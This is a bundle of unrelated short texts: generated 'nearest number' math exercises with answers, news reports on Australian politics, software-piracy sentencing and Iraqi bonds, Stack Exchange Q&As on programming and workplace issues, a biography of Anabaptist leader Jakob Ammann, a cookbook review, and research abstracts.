Which is the nearest to -30? (a) -2/9 (b) 2.8 (c) 1/8
a
Which is the nearest to 0.1? (a) -2/11 (b) 8 (c) -4/5 (d) 13
a
Which is the closest to -1? (a) 0 (b) 3 (c) 4
a
What is the nearest to 3/4 in -4/5, 1, 16.9?
1
What is the nearest to 0 in -5, 23, 2/11, 0.3?
2/11
Which is the nearest to -1/4? (a) 0 (b) 1/6 (c) 2/5
a
Which is the closest to -1? (a) -1 (b) 1 (c) 101
a
What is the closest to -1/5 in -2, -0.2, 4?
-0.2
What is the closest to 0.1 in 0.5, -22, 1?
0.5
What is the nearest to -2/5 in -0.4, 1, -0.5?
-0.4
Which is the closest to -3? (a) -1/3 (b) 2 (c) -24
a
What is the closest to -6 in 5, -6, -1/2, -2?
-6
What is the nearest to -0.7 in -1/4, 4, -2/15?
-1/4
Which is the nearest to 0.2? (a) -20 (b) -3/4 (c) 0
c
What is the closest to 42 in 0, 22, 5, 0.5?
22
What is the closest to 0 in -3, 5/4, 3/4, -0.023?
-0.023
What is the closest to 8/5 in 0, 1, 6?
1
What is the closest to 2/7 in -4, -24, 1/5, -3?
1/5
Which is the nearest to 0? (a) 4 (b) 0 (c) -0.4 (d) -38
b
Which is the nearest to -1? (a) -1/5 (b) 3 (c) -3 (d) 2/5
a
What is the closest to -452 in 3, 0, 0.3, 0.2?
0
What is the nearest to 2 in -57, -2/5, -4?
-2/5
What is the nearest to -0.001 in 0, 1/6, 5, 1/4?
0
What is the nearest to -1 in 2/15, 2, 2/9?
2/15
Which is the nearest to -7? (a) 0.1 (b) -0.2 (c) -2
c
What is the closest to 0.7 in 5, -0.3, -9.1?
-0.3
Which is the nearest to 2? (a) -1/6 (b) 2 (c) -603
b
What is the closest to -0.1 in -25, -0.1, 4?
-0.1
Which is the closest to 19/2? (a) -0.3 (b) -1 (c) -1/3
a
What is the nearest to 0 in -2/11, -2, 6, -3/5?
-2/11
Which is the nearest to 3? (a) -0.4 (b) 5 (c) 0.03 (d) 3/2
d
What is the closest to -2 in 0.9, 0, -0.06, 2/5?
-0.06
Which is the closest to 0.11? (a) -2 (b) 2 (c) 0
c
What is the closest to 0 in -34, -0.5, -3?
-0.5
Which is the closest to -12/31? (a) -0.3 (b) 0 (c) 1/2
a
Which is the nearest to -0.2? (a) 13 (b) -3 (c) 2 (d) -1/6
d
Which is the closest to 2/9? (a) -0.3 (b) 1 (c) 2/11 (d) 4
c
Which is the closest to 1/8? (a) -0.1 (b) 4 (c) -3 (d) 2
a
Which is the nearest to 0.2? (a) 4 (b) -0.2 (c) -4 (d) -0.1
d
Which is the closest to 0.1? (a) 3.2 (b) -10 (c) -4/7
c
Which is the nearest to 0.1? (a) -109 (b) -0.2 (c) 5
b
What is the nearest to 0 in -1/9, -2, -0.4, -6?
-1/9
Which is the closest to 1? (a) -2 (b) 0.3 (c) -0.5 (d) -1/3
b
What is the closest to 0 in 0.1, -0.2, -1, 49?
0.1
What is the nearest to -1 in -1/4, -1.93, 4, -3/4?
-3/4
Which is the nearest to 0.12? (a) -0.2 (b) -3/2 (c) -6
a
What is the closest to -1 in -1, -2/3, 4, 3?
-1
What is the closest to 12 in 3, -1, -1/5, 7?
7
Which is the closest to 1/3? (a) -1 (b) 86/7 (c) -0.2
c
Which is the nearest to -1? (a) -3 (b) -1/2 (c) 6/37
b
What is the nearest to 9 in -5, 3, 0.5, 24?
3
Which is the closest to -11? (a) -2/7 (b) -4 (c) 0.2
b
Which is the nearest to -6? (a) -0.4 (b) 36 (c) 4
a
What is the closest to -2/3 in -5, 0.1, 3, 0?
0
What is the nearest to 2 in 2/15, -0.2, 4, 2?
2
Which is the nearest to 1/3? (a) 4 (b) -0.1 (c) -0.3 (d) -2/5
b
Which is the nearest to 0? (a) -0.4 (b) 2/9 (c) 1/5 (d) 21
c
What is the nearest to 2/9 in -10, 2/9, 33, 1?
2/9
What is the nearest to -1 in -5/9, 65, -0.2?
-5/9
What is the closest to 3/16 in -4, -49, 1, 2?
1
Which is the closest to 1/6? (a) -0.5 (b) -6 (c) -5
a
What is the nearest to -3/14 in -5, 10, 2/13, 2?
2/13
What is the closest to 1/5 in 4, 2/105, -3, 3?
2/105
What is the closest to 8 in 0.44, -0.06, 4/7?
4/7
What is the nearest to 2 in -1/5, 6, -2/9, 3?
3
What is the closest to 2/11 in 20, 3, -1, -2/3?
-2/3
What is the nearest to 1/58 in 4, -1/2, 1/6, 0.5?
1/6
Which is the nearest to 9.5? (a) 0.3 (b) -5 (c) -4
a
What is the closest to 4 in -4/7, 0, -0.4, -1?
0
Which is the nearest to -5? (a) 1/5 (b) 0.3 (c) 2/3 (d) 3
a
What is the nearest to -0.26 in 0.5, -1, 1?
-1
What is the closest to 6 in -2, 4, -10/9, 2?
4
Which is the closest to 0.1? (a) 1 (b) -7 (c) -1/2
c
Which is the closest to -1/2? (a) 4 (b) -1/8 (c) 0.8
b
What is the nearest to 0 in -0.1, -0.5, 5, -4?
-0.1
What is the nearest to -4/5 in -1, -1/5, 0.5, -0.091?
-1
Which is the closest to 2/3? (a) -2/11 (b) 0.08 (c) 2
b
Which is the closest to 5? (a) 4 (b) -4 (c) 2/21
a
Which is the nearest to -1? (a) 3/5 (b) 5 (c) 0 (d) 53
c
Which is the nearest to 40? (a) 5/2 (b) 3 (c) -4 (d) 4
d
What is the nearest to -1 in -3, -2/3, -1/193, -2/13?
-2/3
What is the closest to 2 in -0.6, 1/3, -5?
1/3
Which is the nearest to -0.3? (a) 2 (b) 1/4 (c) 0.2 (d) -5
c
Which is the closest to 0? (a) 2/17 (b) 0.5 (c) 10 (d) -2
a
Which is the closest to -2? (a) -1 (b) 3 (c) 0.5 (d) -0.1
a
Which is the closest to -0.1? (a) 2/9 (b) 0.5 (c) -1/3 (d) 4
c
Which is the nearest to 0.3? (a) -1/7 (b) -2/3 (c) 0.1 (d) 4/5
c
Which is the nearest to -25? (a) -6 (b) 1 (c) -2/11
a
Which is the closest to 0.3? (a) -1/3 (b) 0.1 (c) -13 (d) 5
b
Which is the closest to -0.3? (a) -1 (b) -13/4 (c) -2 (d) -0.2
d
Which is the closest to 1? (a) 3/7 (b) 3 (c) 2 (d) -5
a
Which is the closest to 0.1? (a) 3 (b) -2 (c) 0.5 (d) -4/7
c
Which is the closest to 1? (a) -5 (b) 1 (c) 17
b
Which is the nearest to 4? (a) 0 (b) -0.2 (c) -0.3
a
Which is the closest to 2/5? (a) -1/11 (b) -0.27 (c) -3
a
What is the nearest to -1 in -81, 1/4, 3, -4/5?
-4/5
What is the closest to -3 in 0.4, -0.2, -67, 4?
-0.2
What is the nearest to 3/10 in -3/7, -1, 0.2, 5?
0.2
What is the nearest to 28/9 in -2/85, -4/7, 1?
1
Which is the closest to -1? (a) -9/4 (b) -2/21 (c) -1
c
Which is the closest to -1/3? (a) 96 (b) 1 (c) 2
b
Which is the closest to 18? (a) 2/5 (b) 18 (c) 2/13
b
What is the closest to -0.2 in -2/173, -0.4, 0.5, -4/5?
-2/173
What is the closest to -1 in 3, 0.1, -1/5, 3/5?
-1/5
What is the nearest to -7 in -26, -5/2, -1?
-5/2
Which is the closest to 39? (a) 0.3 (b) -25 (c) -4/3
a
What is the closest to 0.03 in -1/5, -1, -0.24?
-1/5
What is the closest to -0.23 in 3, 3/2, 4/3?
4/3
Which is the closest to -4? (a) -0.3 (b) 5 (c) -1 (d) -2/7
c
What is the closest to 1 in -21, -1/4, -3?
-1/4
Which is the closest to -0.5? (a) -0.4 (b) 0.4 (c) 21
a
Which is the closest to 1? (a) 0.5 (b) 0.192 (c) 5
a
Which is the nearest to -0.2? (a) 131 (b) -1/3 (c) 2 (d) -2/11
d
What is the closest to -32 in -0.04, 0.09, 0?
-0.04
What is the nearest to 1 in 0.3, -0.1, -175?
0.3
What is the closest to 1 in 11, 0.26, -4/7, -2/7?
0.26
Which is the nearest to -0.4? (a) 0.04 (b) 9/4 (c) -1
a
Which is the closest to 0.1? (a) -2/13 (b) 29 (c) 5 (d) 2
a
What is the closest to -1/2 in 3/5, -0.1, -227?
-0.1
What is the nearest to 0 in -2, 1, 0.41?
0.41
Which is the closest to -1? (a) 5 (b) 4 (c) -1
c
Which is the closest to -13? (a) -3 (b) -2 (c) 1/12 (d) |
2 Australian government ministers quit politics
Two senior Australian government ministers announced Saturday that they are quitting politics only days after beleaguered Prime Minister Julia Gillard said elections will be held in September.
Government leader in the Senate Chris Evans, the third most senior government minister, and Attorney General Nicola Roxon announced they have resigned from Cabinet.
Evans, the minister for tertiary education, skills, science and research, said he will quit the Senate within months. Roxon will leave the Parliament at the next election.
Both said they were quitting politics for personal reasons and praised Gillard's leadership.
"Like Chris, I believe we can win the next election. I believe that we will win the next election," Roxon told reporters as she stood beside Evans and Gillard at a news conference at Parliament House.
Gillard said she will swear in a new Cabinet on Monday before Parliament sits for the first time this year on Tuesday.
It will be the final reshuffle before the center-left Labor Party government faces likely defeat at the next election to a conservative coalition led by Tony Abbott.
Gillard said she had known for months that neither minister wanted to remain in Parliament past the next election.
She praised the two for their contributions, and rejected journalists' suggestions that the timing of the resignations after the election date was set reflected a government in chaos.
"I've always had it in my mind that this was the time to announce new arrangements," she said.
Gillard surprised Australians on Wednesday by announcing the Sept. 14 election date. Australian governments traditionally give the opposition little more than a month's notice to keep a strategic advantage.
Her government narrowly scraped through the last elections in August 2010 to form a minority government with the support of independent legislators and a lawmaker from the minor Greens party.
Since then, every major opinion poll has shown the government lagging well behind the opposition. A glimmer of hope for the government is that polls show Gillard is the more popular choice for national leader than her rival, Abbott.
Since Gillard set the election date, triggering what commentators have described as the longest election campaign in Australia history, her party has been tarnished by scandal.
Independent lawmaker Craig Thomson, who quit the Labor Party at Gillard's insistence in April last year over longstanding allegations that he misused trade union funds in his previous career as a union official, was arrested by police on Thursday on fraud charges stemming from those allegations.
While Gillard had sidelined Thomson from the ruling party in the hope of reviving public confidence in her government, her opponents remind her that she had previously long stated her full confidence in the lawmaker.
A corruption inquiry in New South Wales, Australia's most populous state, has heard evidence daily this week of illegal profiteering from insider knowledge on coal mining applications involving senior members of the previous Labor state government, which suffered a crushing defeat at elections in 2011.
Federal ministers agree that evidence of corruption in the party's state branch is harming their chances of re-election at the federal elections. |
Daily Janniverse Happenings, 23 July 2009
New F1 News post on CarEnvy: Montreal Back on Calendar for 2010? F1 fans were outraged when it was announced that the historic (and historically great, and historically greatly-attended) annual stop at the Circuit du Gilles Villeneuve on the F1 calendar was to vanish. Obviously, F1 intends to make money. No one lacks understanding of this pursuit, nor does anyone object to it (on that simple level, at least). But throwing over Montreal in favor of Istanbul (which lost a ridiculous amount of money)? Bernie Ecclestone became so ridiculously filthy rich how again, exactly? 😛
At any rate, the wrong might be on its way to being made right, and since CarEnvy.ca is the home of the Canadian car enthusiast, obviously we’ll be keeping on top of any and all developments in this story. Plus, even if we weren’t at all interested in the Canadian aspect, it’s just a bloody awesome circuit. 😀
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“Writing about music is like tap dancing about architecture.” –someone who may have been Martin Mull, Elvis Costello, or a zillion other people to whom this observation has been attributed over the years Motorcycling may Read more… |
Q:
how to solve no date entry above 2019 with out sysdate
As seen on above picture, I have one date entry field and one pick date button that opens calendar.
Now I want to set a trigger that prevents user from entering date greater than 01.01.2019 and raise error that
You cannot enter date greater than 01.01.2019
but I do not want to use system date as user can change system date and than enter data.
A:
What do you mean by saying that "user can change system date"? This is Oracle Forms, right? SYSDATE returns the database server system date, not client (i.e. user's own PC) date, so - go on and use SYSDATE, no problem with that (unless, of course, users have access to the database server, but that's another story & a huge security hole).
By the way, apart from using a trigger (that would be the WHEN-VALIDATE-ITEM), a simpler way to do that is to open item's Property Palette and use the "Highest allowed value" property, set to today.
|
Q:
Should a bug be added in backlog?
Should a bug be added in backlog?
Probably with special rules like
a business value of 0
no complexity evaluation
can be urgent or not
can be added in current sprint
A:
Yes, a bug should be added to the backlog and tracked just like any other story. I don't think they should follow any special rules though.
a business value of 0
If a bug is important enough to be fixed, then it has non-zero business value.
no complexity evaluation
If you don't estimate the effort required to fix bugs, then you can't plan your sprints effectively and you may end up committing to more work than you can deliver in a sprint.
can be urgent or not
This should just fit into the regular backlog prioritization process.
can be added in current sprint
If your process is flexible enough to accept new bugs in the middle of a sprint, then you should consider extending it to all user stories. In either case, you'll have to push an existing story out of the sprint to make room for the incoming bug/story. This isn't really traditional scrum anymore, but you'll be one step closer to kanban, where there aren't any sprints and you just work on the most important story at any given time.
|
Q:
How should I deal my worker who is stealing my beauty products?
I own a beauty salon and I have three workers who has been working for me for the last six years.However, one of them recently started stealing my beauty products from my salon.
Maybe she thought that I am unaware of her activity but a few days ago I checked my salon's camera footage and I found her stealing some of my beauty products.
She helped me whenever she found me in trouble. She also respects me a lot. Now I am in confusion as to what I should do now.
Should I tell her that I know all about her activity and terminate her from her job, or should I help her financially or fulfill her need so that she stops stealing my beauty products.
A:
If she's a valued employee, then give her a warning. You can't pretend it never happened. Just say you saw her on camera taking product, you'll cut her slack because you think of her as a friend, but friends don't steal from each other, don't do it again or you'll have to fire her.
This sometimes works, but keep your eyes open, sometimes once they get caught they go off the rails. I've seen a manager with a decade in a position try and burgle the shop after getting a warning.
should I help her financially
No, not on a personal level, that turns you into a crutch and you don't owe her that.
A method I use which works well for workers experiencing temporary financial strain is I will advance them half their pay no questions asked if they want it before payday. And deduct it on the day.
|
Two jailed for software piracy
By
Grant Gross, IDG News Service
| Jul 04, 2006
| IDG News Service
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Two US men have been sent to prison for online software piracy.
David Chen Pui of California, was sentenced to 12 months in prison for distributing pirated works from his own and other websites, and David Lee Pruett of Washington, was sentenced to 18 months in prison for his involvement in the software release group Legends Never Die or LND, the DoJ said.
Pui and Pruett each pleaded guilty to a single felony count of conspiracy to commit copyright infringement. US District Judge Graham Mullen of the Western District of North Carolina sentenced Pui on Tuesday and Pruett on Wednesday.
The sentencing of Pui and Pruett follows the recent gaoling of Franklin Edward Littel and Shawn Laemmrich in US district courts in Indianapolis and Marquette, Michigan. Both Littel and Laemmrich were sentenced to eight months in prison to be followed by eight months of home confinement.
The convictions are part of a US Federal Bureau of Investigation undercover sting called Operation FastLink, a crack down on so-called warez piracy rings online. The operation is based in Charlotte, North Carolina.
Operation FastLink has resulted in more than 120 search warrants executed in 12 countries, the confiscation of hundreds of computers and illegal online distribution hubs and the removal of more than $50m (about £27m) worth of illegally copied copyright software, games, movies and music from illicit distribution channels, the DoJ said. |
Spurt in Iraq oil exports buoys government bonds
06 Nov 2012
Iraq, the second biggest producer of Opec, has agreed to bring back its crude export from Kurdish region, and because of that the Iraqi bond productions cut more than three times as the average on Middle Eastern debt.
According to the data given by Bloomberg, the 5.8 percent dollar-denominated Iraqi government bonds will be matured in January 2028, and the rate on that has by 216 basis points from 1st June and it stood at 6.48 percent on 31st October.
In the organization of petroleum exporting countries, Iraq overtook Iran in June and became the second largest producer after Saudi Arabia. That helps Iraq to bring back the industries after the nine years of US encroachment. The exports in Iraq are rising as the impasse is ended with the Northern Iraq’s self-ruled kurds. The investors like Royal Dutch shell and OAO Lukoil are also helping Iraq government to increase their output.
Liz Martins, senior economist at HSBC in Dubai said that it was a good signal creditworthiness of Iraq. He also added that the security environment in Iraq was not good. This might trouble the non-oil-sectors, but it would not hamper the oil production volume to increase.
JP Morgan Chase & Company’s EMBIG Sovereign Spread Iraq index has showed that the spread between Iraqi sovereign bond and US Treasuries has reduced by 281 basis points. According the data provided by CMA that is owned by McGraw-Hill Cos, the spread was 476 basis points on October 29.
Gabriel Sterne, senior economist in London at Exotix said by phone that the performance of Iraq bonds were very good in the last few months. He also added that the spreads of Iraq bonds had performed in the four of the frontier economies that they monitor.
According to BP Plc, Iraq is the fifth largest crude reserves in the world. Hussain al Shahristani, adviser to deputy prime minister for Energy Affairs, said on October 24 that the output capacity of Iraq had risen to 3.4 million barrels a day in September. He also said that Iraq plans to pump 6 million barrels a day by 2015.
The IMF predicts that Iraq’s economy will grow 10.2 percent this year and will continue its growth in 2013 by 14.7 percent. According to IMF, out of 20 nations in Middle East and North Africa only Libya can grow at a faster pace.
Stuart Bowen, the special US inspector general for Iraq reconstruction said that the political issues between Prime Minister Nuri Al Maliki and his opponents, and the possible war situation with Syria present “daunting challenges”. He also added that Iraq is improving in electricity production and in the crude output.
In the last month, Kurdish authority and central government acceded to restart crude exports after four months stoppage. The cabinet ministry of Iraq approved $118.5 billion budget for 2013 which is 18 percent larger than 2012 for the improvement of roads, industries and airports. From 2003, 19 contracts with Total SA, ExxonMobil and many other oil companies are signed by the oil ministry of Iraq.
Mudhur Saleh, the deputy governor of Iraq’s central bank said that Iraq’s bonds would continue to perform well because the Iraq’s economy had improved rapidly.
Source [The Peninsula Qatar] |
Jakob Ammann
Jakob Ammann (also Jacob Amman, Amann; 12 February 1644 – between 1712 and 1730) was an Anabaptist leader and namesake of the Amish religious movement.
Personal life
Jakob Ammann was born on 12 February 1644 in Erlenbach im Simmental, Canton of Bern, Switzerland, to Michael and Anna (née Rupp) Ammann. Erlenbach church records note the baptism of a Jacob Ammann on 12 February 1644, who was probably the Jakob Ammann from whom the Amish received their name. His grandfather has been identified as Ulrich Ammann. All three Ammanns were tailors. Jakob was third in a family of six children. He probably received limited formal education. On 37 official documents signed by Jakob, only his initials appear, with most of them having a nearby note that Jakob was not able to write, so he only "made his mark". However, on three documents, his signed name does appear, although twice it was probably written for him by someone else; once, with the same style of writing as his initials, appear the poorly formed letters "J. AMME", which is assumed to be his own writing. Because he asked for letters to be read in one meeting, it is assumed he was not able to read, or possibly only poorly. He did better financially than the average person of his time.
Jakob was married to Verena Stüdler, but very little is known of her beyond her name. They had at least one daughter and one son, Baltz.
Jakob’s father and one of his sisters also joined the Anabaptist movement. His brother Ulli, 18 years his junior, was also an Anabaptist and is known for his moderating tone in the attempts at reconciliation between the Amish and Reist sides.
Conversion to Anabaptism
On 12 March 1671 he is noted as the sponsor for a baptism in the state church. In June 1680, government correspondence from Oberhofen asked counsel from authorities in Bern on how to deal with a Jakob Ammann who had "become infected with the Anabaptist sect". This is the first known reference to Ammann as an Anabaptist. This indicates a conversion to Anabaptism sometime between 1671 and 1680. Sometime between his conversion and 1693 he was ordained to the ministry, possibly by Hans Reist, who would later become one of his greatest opponents.
By 1693, Ammann had moved from Switzerland to Heidolsheim, Alsace, where his father died and was buried in the neighboring village of Baldenheim. Apparently shortly after the death of his father, he moved to the head of the valley at La Petite Lièpvre, near Sainte-Marie-aux-Mines, France, remaining there until October 1712 when all the Anabaptists in the area were expelled by an edict of Louis XIV. After this date, no more records concerning Jakob Ammann have been found. He probably went to live with friends or relatives somewhere in Lower Alsace.
Death
The date and place of Ammann's death are unknown, but in 1730 his daughter requested baptism in the Reformed Church in Erlenbach and stated that her father had died. It is not recorded when or where the death had occurred. Ammann's involvement in church matters had dropped off considerably before his disappearance from the records in 1712, possibly from old age, since he would have been approaching 70 years of age when he moved away from the Sainte-Marie-aux-Mines area.
Theology and practice
Because of scarcity of materials, very little is known of Jakob Ammann’s teaching and day-to-day life. Three letters comprise the whole of his first-hand accounts of his thoughts. Other letters accuse Jakob of teaching or holding various viewpoints, but since many of these letters were written by his opponents it is not clear how much bias the accusations contain.
From Jakob’s letters, it can be learned that he was a firm disciplinarian, uncompromising in what he believed, and expected others to "conform to the teachings of Christ and His apostles". His rejection of the "good-hearted" stemmed from his belief that whoever accepted the "true saving faith" would be baptized upon that faith, cost what it may. They would "forsake the world" and practice a very practical separation in their everyday life. Jakob was willing to disregard longstanding customs and practices if they were not founded on God’s Word. He denied that he was trying to start a "new faith". He believed in a new birth experience that would radically change a person. He wrote:
If a miser does not turn from his fornication, and a drunkard from his drunkenness, or other immoralities, they are thereby separated from the kingdom of God, and if he does not improve himself through a pious, penitent life, such a person is no Christian and will not inherit the Kingdom of God.
In practical matters, he stood opposed to long hair on men, shaved beards, and clothing that manifested pride. Liars were to be excommunicated. Ammann, unlike most Amish married men of today, however, had a mustache, which is largely forbidden today in the faith.
Schism
Jakob Ammann is known because of his prominent involvement in a schism among the Swiss Brethren that began in 1693. Until recent decades, he was often heavily blamed for the division, being portrayed as an angry, harsh, and demanding leader who imposed his views on others. With the publication of some of the correspondence from the period (beginning in 1950, with Mast’s "Amish Letters") and the uncovering of new evidence, Ammann’s reputation has received a more positive appraisal among some researchers. Because of their prominent roles, Jakob Ammann and Hans Reist have been used to characterize the two sides of the schism, but the issues were broader than the two most prominent men involved.
Background
In the mid-1600s, a fresh influx of converts came into Swiss Anabaptism. The Reformed pastor at Burgdorf even complained that half of the people in the villages in his area were either Anabaptist or deeply sympathetic to their cause. These fresh converts—zealous for their new faith—were in fact a sort of new movement within Swiss Anabaptism. Of the nearly 200 surnames among the Amish in the 1690s, only a very few were found in the Reist side, indicating that the two sides formed mostly around two groups of people with different origins. Because of persecution, many Swiss Brethren families had emigrated or been evicted from Swiss territory into the Alsace and Palatinate before the division. The civil authorities tended to be more lenient in the new locations, and in some cases welcomed the newcomers as they were looking for people to develop their lands. This emigration tended to create a different environment than the Swiss who had not emigrated were experiencing, making some of the issues come to the fore.
Another important aspect in the schism was a conference held at Ohnenheim, Alsace, by several Swiss Brethren ministers and elders in 1660, in which they formally adopted the Dordrecht Confession of Faith that had been drawn up by Dutch Mennonites. Until this time, the Swiss Brethren (who did not use the name "Mennonite" for themselves) had no official confession of faith beyond the Schleitheim Confession. The Dordrecht Confession contained two points that the Swiss Brethren had not historically practiced: foot washing (Article XI) and social avoidance (including not eating meals with those who had been shunned) (Article XVII). Swiss Brethren had practiced excommunication and a refusal to "eat" the [Lord's Supper] with those banned, but their avoidance did not include refraining from eating regular meals with those in the bann. These two issues, foot washing and not eating "physical" meals with the excommunicated, would be at the core of the schism.
Beginning
In 1693, Jakob Ammann, "together with the ministers and elders," sent a general letter to people within the Swiss Brethren congregations, asking for a meeting in which he wanted clarification about where they stood on three issues: 1) Shunning those who had been banned, 2) whether liars should be excommunicated, and 3) if people could be saved who did not follow God’s word. This last issue was referring to the "good-hearted", meaning those who sympathized with the Anabaptists and even helped them materially in times of persecution, but who would not take the step of rebaptism. Those siding with Ammann felt that these "good-hearted" people should not be looked upon and consoled as "saved" unless they took up the cross and followed Christ in rebaptism and obedience to his teachings.
Along with feetwashing, these three issues were at the core of the division. However, other issues surfaced during the discussions in the following years, including frequency of communion and how church discipline should be conducted. Another issue mentioned during the time of the schism was the establishment of stricter regulations concerning dress and beard styles. However, social avoidance of banned individuals was the most controversial of all the issues, and thus it has sometimes been erroneously considered as the only cause of the schism.
Excommunications
Jakob Ammann and Nicolas Augsburger were chosen by a ministerial committee to travel to Switzerland for a meeting with church leaders to find out where the Swiss congregations stood on the disputed issues. At first, a few of the Swiss ministers agreed with Ammann’s view, but in a later meeting Hans Reist would not agree with social avoidance, using Matthew 15:17 as a basis for "what enters the mouth is no sin." Another meeting was called, in which Hans Reist did not show up, saying he was busy. At this point, Jakob Ammann became irritated (verdreiszlich) and then proceeded to announce that Hans Reist was excommunicated on six points. When Ammann questioned some of the other Swiss ministers at the meeting where they stood on the issues, they pleaded for time to consult with their congregations. Ammann saw this as a turning back, since some of them had previously expressed agreement with his side. He then proceeded to announce the excommunication of six of the present ministers. Amman and the four men with him then left "without shaking hands with anyone." These excommunications created a definite breach within the Swiss Brethren movement. The Reist side eventually excommunicated the Ammann side as well.
Attempts at reconciliation
Within a few years, several attempts were made at reconciliation. In February 1700, Jakob Ammann and several of his co-ministers removed the ban from the Swiss ministers and excommunicated themselves in recognition that they had acted too rashly and had "grievously erred." They did not feel that they were in error concerning the issues they had brought up, but rather that they had not given sufficient time for the Reist side to consider the issues before excommunicating them. Also, they felt that they should not have excommunicated the Swiss ministers on the spot, but should have consulted with the whole congregation before proceeding. However, while Hans Reist and some of the Swiss ministers appear to have accepted the repentance of Ammann and his co-workers, they held firm to their position of not accepting social shunning. Some of the other issues had been accepted by the Swiss ministers, but the main body of Amish and the Reist side were never able to reconcile on the issue of social shunning.
Today in North America, the Amish and Mennonites (the Reist side became known as Mennonites after the schism; in a paradox, it was the Amish side that was pushing for the introduction of Dutch Mennonite ideas, but those opposing the ideas eventually became known as Mennonites) live side by side in many communities and work together peacefully in publishing, businesses, and charitable aid projects. However, official sharing of ministry and communion is rare among the most conservative groups of Old Order Amish and Mennonites. In more moderate groups, there remains little to no effect from the schism, with the exception of names of churches.
References
Further reading
Steven M. Nolt, A History of the Amish, rev. ed. (Intercourse, PA: Good Books, 2003)
External links
Jakob Ammann at the Global Anabaptist Mennonite Encyclopedia Online
Category:1644 births
Category:18th-century deaths
Category:People from Frutigen-Niedersimmental District
Category:Swiss Christian religious leaders
Category:Swiss Christian pacifists
Category:17th-century Swiss people
Category:18th-century Swiss people
Category:17th-century Anabaptist ministers
Category:18th-century Anabaptist ministers
Category:Christian radicals
Category:Swiss Amish people
Category:Year of death unknown |
Read of the Week
Having recently switched to a low carb Paleo lifestyle, I was very interested to read Key and Creed’s latest offerings because I needed some inspiration to make my meals a bit more exciting.
I’m also a keen baker and so I’m trying to learn as much as I can about how to adapt my methods when using low carb substitutes like almond and coconut flour.
What I enjoyed most about both books was that the recipes were simple and easy to follow. All are accompanied by striking images and if one were to compare, I’d say Key’s book is the one that’s more appealing to the eye.
Because following a low carb diet can become heavy on the pocket if you’re going to buy a ton of substitutes instead of simply staying away from certain food groups, I was happy to see that both books placed focus on “quick and easy foods on a tight budget” (Key) and “healthy practical affordable realistic” (Creed).
At the start of Key’s book, you can read about the scary diagnosis that led to him switching to the Banting diet and blogging about his experience. There’s also a short section that explains the key principles of Banting. The chapters in his book include breakfast, starters, light meals, mains, sides and baking and desserts. Creed’s content list is a bit more extensive with chapters on soups; bread rolls and pizzas; finger foods; condiments and sauces; breakfast; mains; sides; food for kids; snacks, cakes, cookies and treats; desserts and beverages.
I tried the dark chocolate chip biscuit recipes in each of the books and while both were delicious, the one in Key’s book was better.
It was also more expensive to make, taking a cup of almond butter and a full cup of chopped 85% dark Lindt chocolate.
Creed’s, on the other hand, used coconut flour (which is pretty affordable) as a base and only two table spoons of chopped chocolate or chocolate chips. These also didn’t have the crunchy texture of a biscuit.
I also made the almond tart from Creed’s book. In all instances I used coconut sugar instead of xylitol, which seemed to have little impact on the final result.
While Key and Creed’s recipes are Banting-friendly, I had to adapt some of them because the Paleo diet excludes dairy products. In many cases, coconut milk or cream worked just as well as the dairy alternatives.
I regularly dip into these books for some low carb inspiration – and if you prefer your inspiration in Afrikaans, books are also available as Klim op die Bant Wagon and Lekker Low Carb.
The Atlantic Sun was established in 1981. This long established popular community title includes the key shopping centres the Gardens Centre and Cape Quarter Lifestyle Village within its distribution area. |
Q:
Box2d - Dynamic Sensors?
so I have this dynamic body, that I just want to know when an object collides with it, but even if this object collides with it, the dynamic body will always move at the same time and will only affect by gravity and the floor.
I tried kinmestic bodies and sensor, but it's not affected by gravity. I can add gravity but how can I add also that it will collide with the floor and stop?
I don't care what, but I most find a solution for that. Thanks.
A:
There is no need for sensor in your case. You have to implement the b2ContactListener. Here is the manual how to do it: http://www.box2d.org/manual.html
|
Genetic analysis of anxiety-related behaviors has begun for recombinant inbred strains of the C57Bl/6J x A/J cross. A screen of mouse strains showed the biggest behavioral differences between the C57Bl/6J and the A/J from Jackson Labs. This cross is also a good choice because 30 RI strains are maintained at Jackson from this cross. Baseline light-dark transitions, increase in transitions after diazepam, open field ambulation, were found to be high in the C57Bl/6J and low in the A/J. The A/J were more sensitive to pentylenetetrazol and to B-CCM on induction of seizures. Behavioral testing on these parameters has been completed for 11 RI strains, 9 are partially tested, and the remaining strains are now arriving, to create a data base sufficient for statistical analysis of number of genes which may be mediating anxiety-related behaviors in mice. |
Early detection of skin cancer (EDISCIM) through the use of non-invasive confocal imaging.
In the past 15 years the number of malignant melanomas and non-melanoma skin cancer, (i.e. squamous cell carcinoma, basal cell carcinoma), have increased dramatically throughout the whole world, in particular among people with white skin. For example, in Germany the number of new cases of melanoma is about 10 to 12 per 100,000 people, (for basal cell carcinoma as a non-melanoma skin cancer 140 per 100,000), the absolute number of annual new cases of melanoma is an estimated 9,000 to 10,000, and the increasing rate is 5 to 10%. However, there are more than 40 differential diagnoses for skin cancer which makes it difficult even for expert dermatologists to give correct diagnosis, (estimated 75% correct diagnoses). This figure is even worse for doctors from other specialities. There is only a chance of high cure rates when skin tumours are detected at an early stage. The prognosis of skin cancer is dependent very much on the thickness, (as a sign of invasiveness), of the tumour and the number of mitotic figures in the tumour, (as a sign of proliferation activity). However, the final diagnosis of skin cancer is usually done by biopsy, the sample being investigated by a specialist. This is an invasive method, which is painful for the patient and might require several cuts and samples taken before being absolutely certain. Due to the potential risk of dissemination of tumour cells, taking an incisional biopsy is obsolete in malignant melanoma. Therefore the correct diagnosis of malignant melanoma can be made only after a total removal of the lesion and consecutive histopathological examination. The EDISCIM project intends to develop a system for the early diagnosis of skin cancer which uses confocal imaging for the non-invasive diagnosis of the upper layers of the skin that aids the physician in the analysis of the images and therefore with the diagnosis, allows for potential remote diagnosis by specialist dermatologists via tele-diagnosis if need be. The objectives of the system are Captures microscopic images of the skin by confocal imaging, Processes and records these images in real time, Compares these images against a knowledge base of known skin symptoms, Displays the results in a suitable interface to the physician performing the diagnosis, And supports the online telematic support by specialists. |
Q:
can row headers be specified for angular material tables?
I looked through https://material.angular.io/components/table and can see how to specify column headers, but I don't see a way to specify row headers.
From a pure html perspective, I want to end up with something like:
<table>
<tr>
<th scope='col'>name</th>
<th scope='col'>age</th>
<th scope='col'>favorite color</th>
</tr>
<tr>
<th scope='row'>fred</th>
<td>35</td>
<td>orange</td>
</tr>
<tr>
<th scope='row'>barney</th>
<td>32</td>
<td>brown</td>
</tr>
<tr>
<th scope='row'>wilma</th>
<td>33</td>
<td>white</td>
</tr>
</table>
where 'fred', 'barney', and 'wilma' are row headers.
